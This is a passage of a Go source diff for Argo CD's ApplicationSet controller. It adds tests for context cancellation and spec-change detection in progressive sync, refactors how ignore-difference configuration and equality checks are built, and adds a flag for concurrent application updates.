err = r.createOrUpdateInCluster(t.Context(), log.NewEntry(log.StandardLogger()), appSet, []v1alpha1.Application{desiredApp})
|
||||
require.ErrorIs(t, err, context.DeadlineExceeded)
|
||||
})
|
||||
|
||||
t.Run("non-context error is collected and returned after all goroutines finish", func(t *testing.T) {
|
||||
initObjs := []crtclient.Object{&appSet}
|
||||
app := existingApp.DeepCopy()
|
||||
err = controllerutil.SetControllerReference(&appSet, app, scheme)
|
||||
require.NoError(t, err)
|
||||
initObjs = append(initObjs, app)
|
||||
|
||||
patchErr := errors.New("some patch error")
|
||||
fakeClient := fake.NewClientBuilder().
|
||||
WithScheme(scheme).
|
||||
WithObjects(initObjs...).
|
||||
WithIndex(&v1alpha1.Application{}, ".metadata.controller", appControllerIndexer).
|
||||
WithInterceptorFuncs(interceptor.Funcs{
|
||||
Patch: func(_ context.Context, _ crtclient.WithWatch, _ crtclient.Object, _ crtclient.Patch, _ ...crtclient.PatchOption) error {
|
||||
return patchErr
|
||||
},
|
||||
}).
|
||||
Build()
|
||||
metrics := appsetmetrics.NewFakeAppsetMetrics()
|
||||
|
||||
r := ApplicationSetReconciler{
|
||||
Client: fakeClient,
|
||||
Scheme: scheme,
|
||||
Recorder: record.NewFakeRecorder(10),
|
||||
Metrics: metrics,
|
||||
}
|
||||
|
||||
err = r.createOrUpdateInCluster(t.Context(), log.NewEntry(log.StandardLogger()), appSet, []v1alpha1.Application{desiredApp})
|
||||
require.ErrorIs(t, err, patchErr)
|
||||
})
|
||||
|
||||
t.Run("context canceled on create is returned directly", func(t *testing.T) {
|
||||
initObjs := []crtclient.Object{&appSet}
|
||||
|
||||
fakeClient := fake.NewClientBuilder().
|
||||
WithScheme(scheme).
|
||||
WithObjects(initObjs...).
|
||||
WithIndex(&v1alpha1.Application{}, ".metadata.controller", appControllerIndexer).
|
||||
WithInterceptorFuncs(interceptor.Funcs{
|
||||
Create: func(_ context.Context, _ crtclient.WithWatch, _ crtclient.Object, _ ...crtclient.CreateOption) error {
|
||||
return context.Canceled
|
||||
},
|
||||
}).
|
||||
Build()
|
||||
metrics := appsetmetrics.NewFakeAppsetMetrics()
|
||||
|
||||
r := ApplicationSetReconciler{
|
||||
Client: fakeClient,
|
||||
Scheme: scheme,
|
||||
Recorder: record.NewFakeRecorder(10),
|
||||
Metrics: metrics,
|
||||
}
|
||||
|
||||
newApp := v1alpha1.Application{
|
||||
ObjectMeta: metav1.ObjectMeta{Name: "newapp", Namespace: "namespace"},
|
||||
Spec: v1alpha1.ApplicationSpec{Project: "default"},
|
||||
}
|
||||
err = r.createOrUpdateInCluster(t.Context(), log.NewEntry(log.StandardLogger()), appSet, []v1alpha1.Application{newApp})
|
||||
require.ErrorIs(t, err, context.Canceled)
|
||||
})
|
||||
}
|
||||
|
||||
func TestDeleteInCluster_ContextCancellation(t *testing.T) {
|
||||
scheme := runtime.NewScheme()
|
||||
err := v1alpha1.AddToScheme(scheme)
|
||||
require.NoError(t, err)
|
||||
err = corev1.AddToScheme(scheme)
|
||||
require.NoError(t, err)
|
||||
|
||||
appSet := v1alpha1.ApplicationSet{
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: "name",
|
||||
Namespace: "namespace",
|
||||
},
|
||||
}
|
||||
existingApp := v1alpha1.Application{
|
||||
TypeMeta: metav1.TypeMeta{
|
||||
Kind: application.ApplicationKind,
|
||||
APIVersion: "argoproj.io/v1alpha1",
|
||||
},
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: "delete-me",
|
||||
Namespace: "namespace",
|
||||
ResourceVersion: "1",
|
||||
},
|
||||
Spec: v1alpha1.ApplicationSpec{Project: "project"},
|
||||
}
|
||||
|
||||
makeReconciler := func(t *testing.T, fakeClient crtclient.Client) ApplicationSetReconciler {
|
||||
t.Helper()
|
||||
kubeclientset := kubefake.NewClientset()
|
||||
clusterInformer, err := settings.NewClusterInformer(kubeclientset, "namespace")
|
||||
require.NoError(t, err)
|
||||
cancel := startAndSyncInformer(t, clusterInformer)
|
||||
t.Cleanup(cancel)
|
||||
return ApplicationSetReconciler{
|
||||
Client: fakeClient,
|
||||
Scheme: scheme,
|
||||
Recorder: record.NewFakeRecorder(10),
|
||||
KubeClientset: kubeclientset,
|
||||
Metrics: appsetmetrics.NewFakeAppsetMetrics(),
|
||||
ClusterInformer: clusterInformer,
|
||||
}
|
||||
}
|
||||
|
||||
t.Run("context canceled on delete is returned directly", func(t *testing.T) {
|
||||
app := existingApp.DeepCopy()
|
||||
err = controllerutil.SetControllerReference(&appSet, app, scheme)
|
||||
require.NoError(t, err)
|
||||
|
||||
fakeClient := fake.NewClientBuilder().
|
||||
WithScheme(scheme).
|
||||
WithObjects(&appSet, app).
|
||||
WithIndex(&v1alpha1.Application{}, ".metadata.controller", appControllerIndexer).
|
||||
WithInterceptorFuncs(interceptor.Funcs{
|
||||
Delete: func(_ context.Context, _ crtclient.WithWatch, _ crtclient.Object, _ ...crtclient.DeleteOption) error {
|
||||
return context.Canceled
|
||||
},
|
||||
}).
|
||||
Build()
|
||||
|
||||
r := makeReconciler(t, fakeClient)
|
||||
err = r.deleteInCluster(t.Context(), log.NewEntry(log.StandardLogger()), appSet, []v1alpha1.Application{})
|
||||
require.ErrorIs(t, err, context.Canceled)
|
||||
})
|
||||
|
||||
t.Run("context deadline exceeded on delete is returned directly", func(t *testing.T) {
|
||||
app := existingApp.DeepCopy()
|
||||
err = controllerutil.SetControllerReference(&appSet, app, scheme)
|
||||
require.NoError(t, err)
|
||||
|
||||
fakeClient := fake.NewClientBuilder().
|
||||
WithScheme(scheme).
|
||||
WithObjects(&appSet, app).
|
||||
WithIndex(&v1alpha1.Application{}, ".metadata.controller", appControllerIndexer).
|
||||
WithInterceptorFuncs(interceptor.Funcs{
|
||||
Delete: func(_ context.Context, _ crtclient.WithWatch, _ crtclient.Object, _ ...crtclient.DeleteOption) error {
|
||||
return context.DeadlineExceeded
|
||||
},
|
||||
}).
|
||||
Build()
|
||||
|
||||
r := makeReconciler(t, fakeClient)
|
||||
err = r.deleteInCluster(t.Context(), log.NewEntry(log.StandardLogger()), appSet, []v1alpha1.Application{})
|
||||
require.ErrorIs(t, err, context.DeadlineExceeded)
|
||||
})
|
||||
|
||||
t.Run("non-context delete error is collected and returned", func(t *testing.T) {
|
||||
app := existingApp.DeepCopy()
|
||||
err = controllerutil.SetControllerReference(&appSet, app, scheme)
|
||||
require.NoError(t, err)
|
||||
|
||||
deleteErr := errors.New("delete failed")
|
||||
fakeClient := fake.NewClientBuilder().
|
||||
WithScheme(scheme).
|
||||
WithObjects(&appSet, app).
|
||||
WithIndex(&v1alpha1.Application{}, ".metadata.controller", appControllerIndexer).
|
||||
WithInterceptorFuncs(interceptor.Funcs{
|
||||
Delete: func(_ context.Context, _ crtclient.WithWatch, _ crtclient.Object, _ ...crtclient.DeleteOption) error {
|
||||
return deleteErr
|
||||
},
|
||||
}).
|
||||
Build()
|
||||
|
||||
r := makeReconciler(t, fakeClient)
|
||||
err = r.deleteInCluster(t.Context(), log.NewEntry(log.StandardLogger()), appSet, []v1alpha1.Application{})
|
||||
require.ErrorIs(t, err, deleteErr)
|
||||
})
|
||||
}
|
||||
|
||||
func TestRemoveFinalizerOnInvalidDestination_FinalizerTypes(t *testing.T) {
|
||||
scheme := runtime.NewScheme()
|
||||
err := v1alpha1.AddToScheme(scheme)
|
||||
@@ -4799,6 +5232,12 @@ func TestUpdateApplicationSetApplicationStatus(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
newAppWithSpec := func(name string, health health.HealthStatusCode, sync v1alpha1.SyncStatusCode, revision string, opState *v1alpha1.OperationState, spec v1alpha1.ApplicationSpec) v1alpha1.Application {
|
||||
app := newApp(name, health, sync, revision, opState)
|
||||
app.Spec = spec
|
||||
return app
|
||||
}
|
||||
|
||||
newOperationState := func(phase common.OperationPhase) *v1alpha1.OperationState {
|
||||
finishedAt := &metav1.Time{Time: time.Now().Add(-1 * time.Second)}
|
||||
if !phase.Completed() {
|
||||
@@ -4815,6 +5254,7 @@ func TestUpdateApplicationSetApplicationStatus(t *testing.T) {
|
||||
name string
|
||||
appSet v1alpha1.ApplicationSet
|
||||
apps []v1alpha1.Application
|
||||
desiredApps []v1alpha1.Application
|
||||
appStepMap map[string]int
|
||||
expectedAppStatus []v1alpha1.ApplicationSetApplicationStatus
|
||||
}{
|
||||
@@ -4968,14 +5408,14 @@ func TestUpdateApplicationSetApplicationStatus(t *testing.T) {
|
||||
expectedAppStatus: []v1alpha1.ApplicationSetApplicationStatus{
|
||||
{
|
||||
Application: "app1",
|
||||
Message: "Application has pending changes, setting status to Waiting",
|
||||
Message: revisionChangedMsg,
|
||||
Status: v1alpha1.ProgressiveSyncWaiting,
|
||||
Step: "1",
|
||||
TargetRevisions: []string{"next"},
|
||||
},
|
||||
{
|
||||
Application: "app2-multisource",
|
||||
Message: "Application has pending changes, setting status to Waiting",
|
||||
Message: revisionChangedMsg,
|
||||
Status: v1alpha1.ProgressiveSyncWaiting,
|
||||
Step: "1",
|
||||
TargetRevisions: []string{"next"},
|
||||
@@ -5415,6 +5855,191 @@ func TestUpdateApplicationSetApplicationStatus(t *testing.T) {
|
||||
},
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "detects spec changes when image tag changes in generator (same Git revision)",
|
||||
appSet: newDefaultAppSet(2, []v1alpha1.ApplicationSetApplicationStatus{
|
||||
{
|
||||
Application: "app1",
|
||||
Message: "",
|
||||
Status: v1alpha1.ProgressiveSyncHealthy,
|
||||
Step: "1",
|
||||
TargetRevisions: []string{"abc123"},
|
||||
},
|
||||
}),
|
||||
apps: []v1alpha1.Application{
|
||||
newAppWithSpec("app1", health.HealthStatusHealthy, v1alpha1.SyncStatusCodeOutOfSync, "abc123", nil, // Changed to OutOfSync
|
||||
v1alpha1.ApplicationSpec{
|
||||
Source: &v1alpha1.ApplicationSource{
|
||||
RepoURL: "https://example.com/repo.git",
|
||||
TargetRevision: "master",
|
||||
Helm: &v1alpha1.ApplicationSourceHelm{
|
||||
Parameters: []v1alpha1.HelmParameter{
|
||||
{Name: "image.tag", Value: "v1.0.0"},
|
||||
},
|
||||
},
|
||||
},
|
||||
Destination: v1alpha1.ApplicationDestination{
|
||||
Server: "https://kubernetes.default.svc",
|
||||
Namespace: "default",
|
||||
},
|
||||
}),
|
||||
},
|
||||
desiredApps: []v1alpha1.Application{
|
||||
newAppWithSpec("app1", health.HealthStatusHealthy, v1alpha1.SyncStatusCodeOutOfSync, "abc123", nil, // Changed to OutOfSync
|
||||
v1alpha1.ApplicationSpec{
|
||||
Source: &v1alpha1.ApplicationSource{
|
||||
RepoURL: "https://example.com/repo.git",
|
||||
TargetRevision: "master",
|
||||
Helm: &v1alpha1.ApplicationSourceHelm{
|
||||
Parameters: []v1alpha1.HelmParameter{
|
||||
{Name: "image.tag", Value: "v2.0.0"}, // Different value
|
||||
},
|
||||
},
|
||||
},
|
||||
Destination: v1alpha1.ApplicationDestination{
|
||||
Server: "https://kubernetes.default.svc",
|
||||
Namespace: "default",
|
||||
},
|
||||
}),
|
||||
},
|
||||
appStepMap: map[string]int{
|
||||
"app1": 0,
|
||||
},
|
||||
expectedAppStatus: []v1alpha1.ApplicationSetApplicationStatus{
|
||||
{
|
||||
Application: "app1",
|
||||
Message: specChangedMsg,
|
||||
Status: v1alpha1.ProgressiveSyncWaiting,
|
||||
Step: "1",
|
||||
TargetRevisions: []string{"abc123"},
|
||||
},
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "does not detect changes when spec is identical (same Git revision)",
|
||||
appSet: newDefaultAppSet(2, []v1alpha1.ApplicationSetApplicationStatus{
|
||||
{
|
||||
Application: "app1",
|
||||
Message: "",
|
||||
Status: v1alpha1.ProgressiveSyncHealthy,
|
||||
Step: "1",
|
||||
TargetRevisions: []string{"abc123"},
|
||||
},
|
||||
}),
|
||||
apps: []v1alpha1.Application{
|
||||
newAppWithSpec("app1", health.HealthStatusHealthy, v1alpha1.SyncStatusCodeSynced, "abc123", nil,
|
||||
v1alpha1.ApplicationSpec{
|
||||
Source: &v1alpha1.ApplicationSource{
|
||||
RepoURL: "https://example.com/repo.git",
|
||||
TargetRevision: "master",
|
||||
Helm: &v1alpha1.ApplicationSourceHelm{
|
||||
Parameters: []v1alpha1.HelmParameter{
|
||||
{Name: "image.tag", Value: "v1.0.0"},
|
||||
},
|
||||
},
|
||||
},
|
||||
Destination: v1alpha1.ApplicationDestination{
|
||||
Server: "https://kubernetes.default.svc",
|
||||
Namespace: "default",
|
||||
},
|
||||
}),
|
||||
},
|
||||
appStepMap: map[string]int{
|
||||
"app1": 0,
|
||||
},
|
||||
// Desired apps have identical spec
|
||||
desiredApps: []v1alpha1.Application{
|
||||
{
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: "app1",
|
||||
},
|
||||
Spec: v1alpha1.ApplicationSpec{
|
||||
Source: &v1alpha1.ApplicationSource{
|
||||
RepoURL: "https://example.com/repo.git",
|
||||
TargetRevision: "master",
|
||||
Helm: &v1alpha1.ApplicationSourceHelm{
|
||||
Parameters: []v1alpha1.HelmParameter{
|
||||
{Name: "image.tag", Value: "v1.0.0"}, // Same value
|
||||
},
|
||||
},
|
||||
},
|
||||
Destination: v1alpha1.ApplicationDestination{
|
||||
Server: "https://kubernetes.default.svc",
|
||||
Namespace: "default",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
expectedAppStatus: []v1alpha1.ApplicationSetApplicationStatus{
|
||||
{
|
||||
Application: "app1",
|
||||
Message: "",
|
||||
Status: v1alpha1.ProgressiveSyncHealthy,
|
||||
Step: "1",
|
||||
TargetRevisions: []string{"abc123"},
|
||||
},
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "detects both spec and revision changes",
|
||||
appSet: newDefaultAppSet(2, []v1alpha1.ApplicationSetApplicationStatus{
|
||||
{
|
||||
Application: "app1",
|
||||
Message: "",
|
||||
Status: v1alpha1.ProgressiveSyncHealthy,
|
||||
Step: "1",
|
||||
TargetRevisions: []string{"abc123"}, // OLD revision in status
|
||||
},
|
||||
}),
|
||||
apps: []v1alpha1.Application{
|
||||
newAppWithSpec("app1", health.HealthStatusHealthy, v1alpha1.SyncStatusCodeOutOfSync, "def456", nil, // NEW revision, but OutOfSync
|
||||
v1alpha1.ApplicationSpec{
|
||||
Source: &v1alpha1.ApplicationSource{
|
||||
RepoURL: "https://example.com/repo.git",
|
||||
TargetRevision: "master",
|
||||
Helm: &v1alpha1.ApplicationSourceHelm{
|
||||
Parameters: []v1alpha1.HelmParameter{
|
||||
{Name: "image.tag", Value: "v1.0.0"},
|
||||
},
|
||||
},
|
||||
},
|
||||
Destination: v1alpha1.ApplicationDestination{
|
||||
Server: "https://kubernetes.default.svc",
|
||||
Namespace: "default",
|
||||
},
|
||||
}),
|
||||
},
|
||||
desiredApps: []v1alpha1.Application{
|
||||
newAppWithSpec("app1", health.HealthStatusHealthy, v1alpha1.SyncStatusCodeOutOfSync, "def456", nil,
|
||||
v1alpha1.ApplicationSpec{
|
||||
Source: &v1alpha1.ApplicationSource{
|
||||
RepoURL: "https://example.com/repo.git",
|
||||
TargetRevision: "master",
|
||||
Helm: &v1alpha1.ApplicationSourceHelm{
|
||||
Parameters: []v1alpha1.HelmParameter{
|
||||
{Name: "image.tag", Value: "v2.0.0"}, // Changed value
|
||||
},
|
||||
},
|
||||
},
|
||||
Destination: v1alpha1.ApplicationDestination{
|
||||
Server: "https://kubernetes.default.svc",
|
||||
Namespace: "default",
|
||||
},
|
||||
}),
|
||||
},
|
||||
appStepMap: map[string]int{
|
||||
"app1": 0,
|
||||
},
|
||||
expectedAppStatus: []v1alpha1.ApplicationSetApplicationStatus{
|
||||
{
|
||||
Application: "app1",
|
||||
Message: revisionAndSpecChangedMsg,
|
||||
Status: v1alpha1.ProgressiveSyncWaiting,
|
||||
Step: "1",
|
||||
TargetRevisions: []string{"def456"},
|
||||
},
|
||||
},
|
||||
},
|
||||
} {
|
||||
t.Run(cc.name, func(t *testing.T) {
|
||||
kubeclientset := kubefake.NewClientset([]runtime.Object{}...)
|
||||
@@ -5434,7 +6059,11 @@ func TestUpdateApplicationSetApplicationStatus(t *testing.T) {
|
||||
Metrics: metrics,
|
||||
}
|
||||
|
||||
appStatuses, err := r.updateApplicationSetApplicationStatus(t.Context(), log.NewEntry(log.StandardLogger()), &cc.appSet, cc.apps, cc.appStepMap)
|
||||
desiredApps := cc.desiredApps
|
||||
if desiredApps == nil {
|
||||
desiredApps = cc.apps
|
||||
}
|
||||
appStatuses, err := r.updateApplicationSetApplicationStatus(t.Context(), log.NewEntry(log.StandardLogger()), &cc.appSet, cc.apps, desiredApps, cc.appStepMap)
|
||||
|
||||
// opt out of testing the LastTransitionTime is accurate
|
||||
for i := range appStatuses {
|
||||
@@ -7321,6 +7950,40 @@ func TestIsRollingSyncStrategy(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFirstAppError(t *testing.T) {
|
||||
errA := errors.New("error from app-a")
|
||||
errB := errors.New("error from app-b")
|
||||
errC := errors.New("error from app-c")
|
||||
|
||||
t.Run("returns nil for empty map", func(t *testing.T) {
|
||||
assert.NoError(t, firstAppError(map[string]error{}))
|
||||
})
|
||||
|
||||
t.Run("returns the single error", func(t *testing.T) {
|
||||
assert.ErrorIs(t, firstAppError(map[string]error{"app-a": errA}), errA)
|
||||
})
|
||||
|
||||
t.Run("returns error from lexicographically first app name", func(t *testing.T) {
|
||||
appErrors := map[string]error{
|
||||
"app-c": errC,
|
||||
"app-a": errA,
|
||||
"app-b": errB,
|
||||
}
|
||||
assert.ErrorIs(t, firstAppError(appErrors), errA)
|
||||
})
|
||||
|
||||
t.Run("result is stable across multiple calls with same input", func(t *testing.T) {
|
||||
appErrors := map[string]error{
|
||||
"app-c": errC,
|
||||
"app-a": errA,
|
||||
"app-b": errB,
|
||||
}
|
||||
for range 10 {
|
||||
assert.ErrorIs(t, firstAppError(appErrors), errA, "firstAppError must return the same error on every call")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestSyncApplication(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
|
||||
@@ -24,6 +24,43 @@ import (
|
||||
"github.com/argoproj/argo-cd/v3/util/argo/normalizers"
|
||||
)
|
||||
|
||||
var appEquality = conversion.EqualitiesOrDie(
|
||||
func(a, b resource.Quantity) bool {
|
||||
// Ignore formatting, only care that numeric value stayed the same.
|
||||
// TODO: if we decide it's important, it should be safe to start comparing the format.
|
||||
//
|
||||
// Uninitialized quantities are equivalent to 0 quantities.
|
||||
return a.Cmp(b) == 0
|
||||
},
|
||||
func(a, b metav1.MicroTime) bool {
|
||||
return a.UTC().Equal(b.UTC())
|
||||
},
|
||||
func(a, b metav1.Time) bool {
|
||||
return a.UTC().Equal(b.UTC())
|
||||
},
|
||||
func(a, b labels.Selector) bool {
|
||||
return a.String() == b.String()
|
||||
},
|
||||
func(a, b fields.Selector) bool {
|
||||
return a.String() == b.String()
|
||||
},
|
||||
func(a, b argov1alpha1.ApplicationDestination) bool {
|
||||
return a.Namespace == b.Namespace && a.Name == b.Name && a.Server == b.Server
|
||||
},
|
||||
)
|
||||
|
||||
// BuildIgnoreDiffConfig constructs a DiffConfig from the ApplicationSet's ignoreDifferences rules.
|
||||
// Returns nil when ignoreDifferences is empty.
|
||||
func BuildIgnoreDiffConfig(ignoreDifferences argov1alpha1.ApplicationSetIgnoreDifferences, ignoreNormalizerOpts normalizers.IgnoreNormalizerOpts) (argodiff.DiffConfig, error) {
|
||||
if len(ignoreDifferences) == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
return argodiff.NewDiffConfigBuilder().
|
||||
WithDiffSettings(ignoreDifferences.ToApplicationIgnoreDifferences(), nil, false, ignoreNormalizerOpts).
|
||||
WithNoCache().
|
||||
Build()
|
||||
}
|
||||
|
||||
// CreateOrUpdate overrides "sigs.k8s.io/controller-runtime" function
|
||||
// in sigs.k8s.io/controller-runtime/pkg/controller/controllerutil/controllerutil.go
|
||||
// to add equality for argov1alpha1.ApplicationDestination
|
||||
@@ -34,10 +71,15 @@ import (
|
||||
// cluster. The object's desired state must be reconciled with the existing
|
||||
// state inside the passed in callback MutateFn.
|
||||
//
|
||||
// diffConfig must be built once per reconcile cycle via BuildIgnoreDiffConfig and may be nil
|
||||
// when there are no ignoreDifferences rules. obj.Spec must already be normalized by the caller
|
||||
// via NormalizeApplicationSpec before this function is called; the live object fetched from the
|
||||
// cluster is normalized internally.
|
||||
//
|
||||
// The MutateFn is called regardless of creating or updating an object.
|
||||
//
|
||||
// It returns the executed operation and an error.
|
||||
func CreateOrUpdate(ctx context.Context, logCtx *log.Entry, c client.Client, ignoreAppDifferences argov1alpha1.ApplicationSetIgnoreDifferences, ignoreNormalizerOpts normalizers.IgnoreNormalizerOpts, obj *argov1alpha1.Application, f controllerutil.MutateFn) (controllerutil.OperationResult, error) {
|
||||
func CreateOrUpdate(ctx context.Context, logCtx *log.Entry, c client.Client, diffConfig argodiff.DiffConfig, obj *argov1alpha1.Application, f controllerutil.MutateFn) (controllerutil.OperationResult, error) {
|
||||
key := client.ObjectKeyFromObject(obj)
|
||||
if err := c.Get(ctx, key, obj); err != nil {
|
||||
if !errors.IsNotFound(err) {
|
||||
@@ -59,43 +101,18 @@ func CreateOrUpdate(ctx context.Context, logCtx *log.Entry, c client.Client, ign
|
||||
return controllerutil.OperationResultNone, err
|
||||
}
|
||||
|
||||
// Normalize the live spec to avoid spurious diffs from unimportant differences (e.g. nil vs
|
||||
// empty SyncPolicy). obj.Spec is already normalized by the caller; only the live side needs it.
|
||||
normalizedLive.Spec = *argo.NormalizeApplicationSpec(&normalizedLive.Spec)
|
||||
|
||||
// Apply ignoreApplicationDifferences rules to remove ignored fields from both the live and the desired state. This
|
||||
// prevents those differences from appearing in the diff and therefore in the patch.
|
||||
err := applyIgnoreDifferences(ignoreAppDifferences, normalizedLive, obj, ignoreNormalizerOpts)
|
||||
err := applyIgnoreDifferences(diffConfig, normalizedLive, obj)
|
||||
if err != nil {
|
||||
return controllerutil.OperationResultNone, fmt.Errorf("failed to apply ignore differences: %w", err)
|
||||
}
|
||||
|
||||
// Normalize to avoid diffing on unimportant differences.
|
||||
normalizedLive.Spec = *argo.NormalizeApplicationSpec(&normalizedLive.Spec)
|
||||
obj.Spec = *argo.NormalizeApplicationSpec(&obj.Spec)
|
||||
|
||||
equality := conversion.EqualitiesOrDie(
|
||||
func(a, b resource.Quantity) bool {
|
||||
// Ignore formatting, only care that numeric value stayed the same.
|
||||
// TODO: if we decide it's important, it should be safe to start comparing the format.
|
||||
//
|
||||
// Uninitialized quantities are equivalent to 0 quantities.
|
||||
return a.Cmp(b) == 0
|
||||
},
|
||||
func(a, b metav1.MicroTime) bool {
|
||||
return a.UTC().Equal(b.UTC())
|
||||
},
|
||||
func(a, b metav1.Time) bool {
|
||||
return a.UTC().Equal(b.UTC())
|
||||
},
|
||||
func(a, b labels.Selector) bool {
|
||||
return a.String() == b.String()
|
||||
},
|
||||
func(a, b fields.Selector) bool {
|
||||
return a.String() == b.String()
|
||||
},
|
||||
func(a, b argov1alpha1.ApplicationDestination) bool {
|
||||
return a.Namespace == b.Namespace && a.Name == b.Name && a.Server == b.Server
|
||||
},
|
||||
)
|
||||
|
||||
if equality.DeepEqual(normalizedLive, obj) {
|
||||
if appEquality.DeepEqual(normalizedLive, obj) {
|
||||
return controllerutil.OperationResultNone, nil
|
||||
}
|
||||
|
||||
@@ -135,19 +152,13 @@ func mutate(f controllerutil.MutateFn, key client.ObjectKey, obj client.Object)
|
||||
}
|
||||
|
||||
// applyIgnoreDifferences applies the ignore differences rules to the found application. It modifies the applications in place.
|
||||
func applyIgnoreDifferences(applicationSetIgnoreDifferences argov1alpha1.ApplicationSetIgnoreDifferences, found *argov1alpha1.Application, generatedApp *argov1alpha1.Application, ignoreNormalizerOpts normalizers.IgnoreNormalizerOpts) error {
|
||||
if len(applicationSetIgnoreDifferences) == 0 {
|
||||
// diffConfig may be nil, in which case this is a no-op.
|
||||
func applyIgnoreDifferences(diffConfig argodiff.DiffConfig, found *argov1alpha1.Application, generatedApp *argov1alpha1.Application) error {
|
||||
if diffConfig == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
generatedAppCopy := generatedApp.DeepCopy()
|
||||
diffConfig, err := argodiff.NewDiffConfigBuilder().
|
||||
WithDiffSettings(applicationSetIgnoreDifferences.ToApplicationIgnoreDifferences(), nil, false, ignoreNormalizerOpts).
|
||||
WithNoCache().
|
||||
Build()
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to build diff config: %w", err)
|
||||
}
|
||||
unstructuredFound, err := appToUnstructured(found)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to convert found application to unstructured: %w", err)
|
||||
|
||||
@@ -224,7 +224,9 @@ spec:
|
||||
generatedApp := v1alpha1.Application{TypeMeta: appMeta}
|
||||
err = yaml.Unmarshal([]byte(tc.generatedApp), &generatedApp)
|
||||
require.NoError(t, err, tc.generatedApp)
|
||||
err = applyIgnoreDifferences(tc.ignoreDifferences, &foundApp, &generatedApp, normalizers.IgnoreNormalizerOpts{})
|
||||
diffConfig, err := BuildIgnoreDiffConfig(tc.ignoreDifferences, normalizers.IgnoreNormalizerOpts{})
|
||||
require.NoError(t, err)
|
||||
err = applyIgnoreDifferences(diffConfig, &foundApp, &generatedApp)
|
||||
require.NoError(t, err)
|
||||
yamlFound, err := yaml.Marshal(tc.foundApp)
|
||||
require.NoError(t, err)
|
||||
|
||||
@@ -79,6 +79,7 @@ func NewCommand() *cobra.Command {
|
||||
tokenRefStrictMode bool
|
||||
maxResourcesStatusCount int
|
||||
cacheSyncPeriod time.Duration
|
||||
concurrentApplicationUpdates int
|
||||
)
|
||||
scheme := runtime.NewScheme()
|
||||
_ = clientgoscheme.AddToScheme(scheme)
|
||||
@@ -239,24 +240,25 @@ func NewCommand() *cobra.Command {
|
||||
})
|
||||
|
||||
if err = (&controllers.ApplicationSetReconciler{
|
||||
Generators: topLevelGenerators,
|
||||
Client: utils.NewCacheSyncingClient(mgr.GetClient(), mgr.GetCache()),
|
||||
Scheme: mgr.GetScheme(),
|
||||
Recorder: mgr.GetEventRecorderFor("applicationset-controller"),
|
||||
Renderer: &utils.Render{},
|
||||
Policy: policyObj,
|
||||
EnablePolicyOverride: enablePolicyOverride,
|
||||
KubeClientset: k8sClient,
|
||||
ArgoDB: argoCDDB,
|
||||
ArgoCDNamespace: namespace,
|
||||
ApplicationSetNamespaces: applicationSetNamespaces,
|
||||
EnableProgressiveSyncs: enableProgressiveSyncs,
|
||||
SCMRootCAPath: scmRootCAPath,
|
||||
GlobalPreservedAnnotations: globalPreservedAnnotations,
|
||||
GlobalPreservedLabels: globalPreservedLabels,
|
||||
Metrics: &metrics,
|
||||
MaxResourcesStatusCount: maxResourcesStatusCount,
|
||||
ClusterInformer: clusterInformer,
|
||||
Generators: topLevelGenerators,
|
||||
Client: utils.NewCacheSyncingClient(mgr.GetClient(), mgr.GetCache()),
|
||||
Scheme: mgr.GetScheme(),
|
||||
Recorder: mgr.GetEventRecorderFor("applicationset-controller"),
|
||||
Renderer: &utils.Render{},
|
||||
Policy: policyObj,
|
||||
EnablePolicyOverride: enablePolicyOverride,
|
||||
KubeClientset: k8sClient,
|
||||
ArgoDB: argoCDDB,
|
||||
ArgoCDNamespace: namespace,
|
||||
ApplicationSetNamespaces: applicationSetNamespaces,
|
||||
EnableProgressiveSyncs: enableProgressiveSyncs,
|
||||
SCMRootCAPath: scmRootCAPath,
|
||||
GlobalPreservedAnnotations: globalPreservedAnnotations,
|
||||
GlobalPreservedLabels: globalPreservedLabels,
|
||||
Metrics: &metrics,
|
||||
MaxResourcesStatusCount: maxResourcesStatusCount,
|
||||
ClusterInformer: clusterInformer,
|
||||
ConcurrentApplicationUpdates: concurrentApplicationUpdates,
|
||||
}).SetupWithManager(mgr, enableProgressiveSyncs, maxConcurrentReconciliations); err != nil {
|
||||
log.Error(err, "unable to create controller", "controller", "ApplicationSet")
|
||||
os.Exit(1)
|
||||
@@ -303,6 +305,7 @@ func NewCommand() *cobra.Command {
|
||||
command.Flags().BoolVar(&enableGitHubAPIMetrics, "enable-github-api-metrics", env.ParseBoolFromEnv("ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_GITHUB_API_METRICS", false), "Enable GitHub API metrics for generators that use the GitHub API")
|
||||
command.Flags().IntVar(&maxResourcesStatusCount, "max-resources-status-count", env.ParseNumFromEnv("ARGOCD_APPLICATIONSET_CONTROLLER_MAX_RESOURCES_STATUS_COUNT", 5000, 0, math.MaxInt), "Max number of resources stored in appset status.")
|
||||
command.Flags().DurationVar(&cacheSyncPeriod, "cache-sync-period", env.ParseDurationFromEnv("ARGOCD_APPLICATIONSET_CONTROLLER_CACHE_SYNC_PERIOD", time.Hour*10, 0, time.Hour*24), "Period at which the manager client cache is forcefully resynced with the Kubernetes API server. 0 disables periodic resync.")
|
||||
command.Flags().IntVar(&concurrentApplicationUpdates, "concurrent-application-updates", env.ParseNumFromEnv("ARGOCD_APPLICATIONSET_CONTROLLER_CONCURRENT_APPLICATION_UPDATES", 1, 1, 200), "Number of concurrent Application create/update/delete operations per ApplicationSet reconcile.")
|
||||
|
||||
return &command
|
||||
}
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
package command
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/assert"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestNewCommand_ConcurrentApplicationUpdatesFlag(t *testing.T) {
|
||||
cmd := NewCommand()
|
||||
|
||||
